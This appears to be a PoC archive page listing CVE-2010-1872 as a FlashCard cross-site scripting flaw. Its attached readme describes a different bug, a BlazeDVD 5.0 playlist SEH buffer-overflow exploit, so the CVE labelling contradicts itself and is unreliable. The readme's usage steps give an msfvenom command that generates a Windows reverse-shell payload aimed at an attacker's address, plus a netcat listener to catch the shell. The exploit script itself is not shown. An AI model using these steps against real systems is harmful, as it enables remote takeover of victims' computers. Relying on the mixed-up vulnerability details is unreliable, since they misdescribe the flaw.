Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2010-1872 PoC — Tufat FlashCard 'cPlayer.php'跨站脚本攻击漏洞

Source
Associated Vulnerability
Title: Tufat FlashCard 'cPlayer.php'跨站脚本攻击漏洞 (CVE-2010-1872)
Description:Cross-site scripting (XSS) vulnerability in cPlayer.php in FlashCard 2.6.5 and 3.0.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter. NOTE: some of these details are obtained from third party information.
Readme
# BlazeDVD 5.0 - '.PLF' Playlist SEH Buffer Overflow Exploit (CVE-2010-1872)

Proof-of-Concept (PoC) exploit targeting a buffer overflow vulnerability in BlazeDVD version 5.0 via a crafted `.plf` playlist file. The exploit uses **SEH (Structured Exception Handler) overwrite** to achieve code execution.

## 📌 Details

- **Software:** BlazeDVD
- **Version:** 5.0
- **Vulnerability:** Buffer Overflow via `.plf` file
- **Technique:** Structured Exception Handler (SEH) Overwrite
- **CVE:** [CVE-2010-1872](https://nvd.nist.gov/vuln/detail/CVE-2010-1872)
- **Tested on:** Windows XP SP3 (DEP and ASLR disabled)

## ⚠️ Disclaimer

This code is for **educational and research purposes only**. Any misuse of this code may violate local or international laws. I do not take any responsibility for damage caused by improper use.

## 🧠 How It Works

The exploit generates a malicious `.plf` file which, when opened in BlazeDVD, triggers a buffer overflow and overwrites the SEH (Structured Exception Handler), redirecting execution to a reverse shell payload.

## 🛠️ Usage

1. **Generate the Shellcode with msfvenom**  
   Use `msfvenom` to create a reverse shell payload in raw format, avoiding bad characters.

   ```bash
   msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=8443 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
Replace the shellcode inside the exploit script with the output from msfvenom.

2. **Start Netcat (Listener)**
    In another terminal, start listening on the selected port 8443:

    ```shell
    nc -lvnp 8443
    ```

Catch the Reverse Shell
If successful, a reverse shell will connect to your listener.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →